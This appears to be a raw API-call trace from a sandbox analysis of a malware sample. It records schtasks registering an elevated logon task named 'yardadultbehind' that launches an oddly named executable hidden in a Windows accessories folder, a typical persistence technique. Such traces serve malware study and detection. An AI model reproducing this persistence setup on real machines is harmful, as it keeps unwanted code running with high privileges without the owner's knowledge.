0x140000 [0161.926] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd60 [0161.926] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.926] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0161.926] lstrlenW (lpString="HIGHEST") returned 7 [0161.926] GetProcessHeap () returned 0x140000 [0161.926] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15d5b0 [0161.926] GetThreadLocale () returned 0x409 [0161.926] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0161.926] GetProcessHeap () returned 0x140000 [0161.926] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd30 [0161.926] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.926] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0161.926] lstrlenW (lpString="MINUTE") returned 6 [0161.926] GetProcessHeap () returned 0x140000 [0161.926] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15d5d0 [0161.926] GetThreadLocale () returned 0x409 [0161.926] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0161.926] GetProcessHeap () returned 0x140000 [0161.926] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd00 [0161.926] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.926] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0161.926] lstrlenW (lpString="HOURLY") returned 6 [0161.926] GetProcessHeap () returned 0x140000 [0161.926] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15d5f0 [0161.926] GetThreadLocale () returned 0x409 [0161.927] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0161.927] GetProcessHeap () returned 0x140000 [0161.927] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15ccd0 [0161.927] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.927] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0161.927] lstrlenW (lpString="DAILY") returned 5 [0161.927] GetProcessHeap () returned 0x140000 [0161.927] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xc) returned 0x15d610 [0161.927] GetThreadLocale () returned 0x409 [0161.927] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0161.927] GetProcessHeap () returned 0x140000 [0161.927] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cca0 [0161.927] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.927] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0161.927] lstrlenW (lpString="WEEKLY") returned 6 [0161.927] GetProcessHeap () returned 0x140000 [0161.927] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15d630 [0161.927] GetThreadLocale () returned 0x409 [0161.927] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0161.927] GetProcessHeap () returned 0x140000 [0161.927] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cc70 [0161.927] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.927] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0161.927] lstrlenW (lpString="MONTHLY") returned 7 [0161.927] GetProcessHeap () returned 0x140000 [0161.927] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15d650 [0161.927] GetThreadLocale () returned 0x409 [0161.927] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0161.927] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.927] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0161.928] lstrlenW (lpString="ONCE") returned 4 [0161.928] GetProcessHeap () returned 0x140000 [0161.928] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xa) returned 0x15d670 [0161.928] GetThreadLocale () returned 0x409 [0161.928] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0161.928] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.928] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0161.928] lstrlenW (lpString="ONSTART") returned 7 [0161.928] GetThreadLocale () returned 0x409 [0161.928] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0161.928] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.928] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0161.928] lstrlenW (lpString="ONLOGON") returned 7 [0161.928] GetThreadLocale () returned 0x409 [0161.928] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0161.928] SetLastError (dwErrCode=0x0) [0161.928] GetProcessHeap () returned 0x140000 [0161.928] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x1fc) returned 0x15c4b0 [0161.928] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.928] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0161.928] lstrlenW (lpString="First") returned 5 [0161.928] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.928] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0161.928] lstrlenW (lpString="Second") returned 6 [0161.929] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.929] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0161.929] lstrlenW (lpString="Third") returned 5 [0161.929] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.929] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0161.929] lstrlenW (lpString="Fourth") returned 6 [0161.929] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.929] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0161.929] lstrlenW (lpString="Last") returned 4 [0161.929] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.929] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0161.929] lstrlenW (lpString="First") returned 5 [0161.929] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.929] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0161.929] lstrlenW (lpString="Second") returned 6 [0161.929] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.929] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0161.929] lstrlenW (lpString="Third") returned 5 [0161.929] GetProcessHeap () returned 0x140000 [0161.929] GetProcessHeap () returned 0x140000 [0161.929] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d670) returned 1 [0161.929] GetProcessHeap () returned 0x140000 [0161.929] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d670) returned 0xa [0161.929] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d670 | out: hHeap=0x140000) returned 1 [0161.929] GetProcessHeap () returned 0x140000 [0161.930] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xc) returned 0x15d670 [0161.930] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.930] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0161.930] lstrlenW (lpString="Fourth") returned 6 [0161.930] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.930] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0161.930] lstrlenW (lpString="Last") returned 4 [0161.930] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc0c0, cchData=128 | out: lpLCData="0") returned 2 [0161.930] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.930] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0161.930] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0161.930] GetProcessHeap () returned 0x140000 [0161.930] GetProcessHeap () returned 0x140000 [0161.930] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d590) returned 1 [0161.930] GetProcessHeap () returned 0x140000 [0161.930] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d590) returned 0x10 [0161.930] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d590 | out: hHeap=0x140000) returned 1 [0161.930] GetProcessHeap () returned 0x140000 [0161.930] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x16) returned 0x15d590 [0161.930] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc0e0, cchData=128 | out: lpLCData="0") returned 2 [0161.930] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.930] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0161.930] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0161.930] GetProcessHeap () returned 0x140000 [0161.931] GetProcessHeap () returned 0x140000 [0161.931] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d5b0) returned 1 [0161.931] GetProcessHeap () returned 0x140000 [0161.931] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d5b0) returned 0x10 [0161.931] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d5b0 | out: hHeap=0x140000) returned 1 [0161.931] GetProcessHeap () returned 0x140000 [0161.931] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x16) returned 0x15d5b0 [0161.931] GetLocalTime (in: lpSystemTime=0xfc310 | out: lpSystemTime=0xfc310*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x15, wMilliseconds=0x98)) [0161.931] GetLocalTime (in: lpSystemTime=0xfcbc8 | out: lpSystemTime=0xfcbc8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x15, wMilliseconds=0x98)) [0161.931] lstrlenW (lpString="") returned 0 [0161.931] lstrlenW (lpString="") returned 0 [0161.931] lstrlenW (lpString="") returned 0 [0161.931] lstrlenW (lpString="") returned 0 [0161.931] lstrlenW (lpString="") returned 0 [0161.931] lstrlenW (lpString="") returned 0 [0161.931] lstrlenW (lpString="") returned 0 [0161.931] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0161.955] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0162.039] CoCreateInstance (in: rclsid=0xff451ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff451ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfc990 | out: ppv=0xfc990*=0x497b30) returned 0x0 [0162.053] TaskScheduler:ITaskService:Connect (This=0x497b30, serverName=0xfca70*(varType=0x8, wReserved1=0xf, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xfca30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xfca50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfca10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0162.060] TaskScheduler:IUnknown:AddRef (This=0x497b30) returned 0x2 [0162.060] TaskScheduler:ITaskService:GetFolder (in: This=0x497b30, Path=0x0, ppFolder=0xfcb28 | out: ppFolder=0xfcb28*=0x497d60) returned 0x0 [0162.064] TaskScheduler:ITaskService:NewTask (in: This=0x497b30, flags=0x0, ppDefinition=0xfcb20 | out: ppDefinition=0xfcb20*=0x497db0) returned 0x0 [0162.065] ITaskDefinition:get_Actions (in: This=0x497db0, ppActions=0xfcaa0 | out: ppActions=0xfcaa0*=0x497e70) returned 0x0 [0162.065] IActionCollection:Create (in: This=0x497e70, Type=0, ppAction=0xfcac0 | out: ppAction=0xfcac0*=0x4966b0) returned 0x0 [0162.065] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.065] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.065] lstrlenW (lpString=" ") returned 1 [0162.065] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0162.065] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0162.066] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0162.066] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x54) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.066] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.067] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0162.068] IUnknown:Release (This=0x4966b0) returned 0x1 [0162.068] IUnknown:Release (This=0x497e70) returned 0x1 [0162.068] ITaskDefinition:get_Triggers (in: This=0x497db0, ppTriggers=0xfc620 | out: ppTriggers=0xfc620*=0x496420) returned 0x0 [0162.068] ITriggerCollection:Create (in: This=0x496420, Type=9, ppTrigger=0xfc618 | out: ppTrigger=0xfc618*=0x496720) returned 0x0 [0162.068] IUnknown:QueryInterface (in: This=0x496720, riid=0xff451c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xfc610 | out: ppvObject=0xfc610*=0x496720) returned 0x0 [0162.068] IUnknown:Release (This=0x496720) returned 0x2 [0162.068] _vsnwprintf (in: _Buffer=0xfc560, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xfc538 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0162.068] ITrigger:put_StartBoundary (This=0x496720, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0162.068] lstrlenW (lpString="") returned 0 [0162.068] lstrlenW (lpString="") returned 0 [0162.068] lstrlenW (lpString="") returned 0 [0162.068] lstrlenW (lpString="") returned 0 [0162.068] IUnknown:Release (This=0x496720) returned 0x1 [0162.068] IUnknown:Release (This=0x496420) returned 0x1 [0162.068] ITaskDefinition:get_Settings (in: This=0x497db0, ppSettings=0xfcac0 | out: ppSettings=0xfcac0*=0x496490) returned 0x0 [0162.069] lstrlenW (lpString="") returned 0 [0162.069] IUnknown:Release (This=0x496490) returned 0x1 [0162.069] GetLocalTime (in: lpSystemTime=0xfc978 | out: lpSystemTime=0xfc978*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x15, wMilliseconds=0x124)) [0162.069] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0162.069] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0162.069] GetUserNameW (in: lpBuffer=0xfc9a0, pcbBuffer=0xfc988 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xfc988) returned 1 [0162.070] ITaskDefinition:get_RegistrationInfo (in: This=0x497db0, ppRegistrationInfo=0xfc970 | out: ppRegistrationInfo=0xfc970*=0x497ef0) returned 0x0 [0162.070] IRegistrationInfo:put_Author (This=0x497ef0, Author="") returned 0x0 [0162.070] _vsnwprintf (in: _Buffer=0xfc9a0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xfc938 | out: _Buffer="2022-08-06T02:19:21") returned 19 [0162.070] IRegistrationInfo:put_Date (This=0x497ef0, Date="") returned 0x0 [0162.070] IUnknown:Release (This=0x497ef0) returned 0x1 [0162.070] malloc (_Size=0x18) returned 0x497cf0 [0162.070] free (_Block=0x497cf0) [0162.070] lstrlenW (lpString="") returned 0 [0162.070] ITaskDefinition:get_Principal (in: This=0x497db0, ppPrincipal=0xfcb90 | out: ppPrincipal=0xfcb90*=0x496600) returned 0x0 [0162.071] IPrincipal:put_RunLevel (This=0x496600, RunLevel=1) returned 0x0 [0162.071] IUnknown:Release (This=0x496600) returned 0x1 [0162.071] malloc (_Size=0x18) returned 0x497cf0 [0162.071] ITaskFolder:RegisterTaskDefinition (in: This=0x497d60, Path="yardadultbehind", pDefinition=0x497db0, flags=6, UserId=0xfcc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfcc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfeb20, varVal2=0xfe), LogonType=3, sddl=0xfcc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xfcb30 | out: ppTask=0xfcb30*=0x496980) returned 0x0 [0162.250] free (_Block=0x497cf0) [0162.250] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.250] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0162.250] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0162.250] GetProcessHeap () returned 0x140000 [0162.250] GetProcessHeap () returned 0x140000 [0162.250] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d5d0) returned 1 [0162.250] GetProcessHeap () returned 0x140000 [0162.250] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d5d0) returned 0xe [0162.250] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d5d0 | out: hHeap=0x140000) returned 1 [0162.250] GetProcessHeap () returned 0x140000 [0162.250] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x82) returned 0x179c40 [0162.250] _vsnwprintf (in: _Buffer=0xfd270, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xfcad8 | out: _Buffer="SUCCESS: The scheduled task \"yardadultbehind\" has successfully been created.\n") returned 77 [0162.250] _fileno (_File=0x7fefed02ab0) returned -2 [0162.250] _errno () returned 0x494bb0 [0162.250] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0162.250] SetLastError (dwErrCode=0x6) [0162.251] lstrlenW (lpString="SUCCESS: The scheduled task \"yardadultbehind\" has successfully been created.\n") returned 77 [0162.251] GetConsoleOutputCP () returned 0x0 [0162.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yardadultbehind\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0162.251] GetConsoleOutputCP () returned 0x0 [0162.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yardadultbehind\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0xff491880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"yardadultbehind\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0162.251] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 77 [0162.251] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0162.251] IUnknown:Release (This=0x496980) returned 0x0 [0162.251] TaskScheduler:IUnknown:Release (This=0x497db0) returned 0x0 [0162.251] TaskScheduler:IUnknown:Release (This=0x497d60) returned 0x0 [0162.251] TaskScheduler:IUnknown:Release (This=0x497b30) returned 0x1 [0162.251] lstrlenW (lpString="") returned 0 [0162.251] GetProcessHeap () returned 0x140000 [0162.251] GetProcessHeap () returned 0x140000 [0162.251] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4b0) returned 1 [0162.251] GetProcessHeap () returned 0x140000 [0162.251] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c4b0) returned 0x1fc [0162.252] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4b0 | out: hHeap=0x140000) returned 1 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d550) returned 1 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d550) returned 0x16 [0162.252] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d550 | out: hHeap=0x140000) returned 1 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d530) returned 1 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d530) returned 0x18 [0162.252] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d530 | out: hHeap=0x140000) returned 1 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] 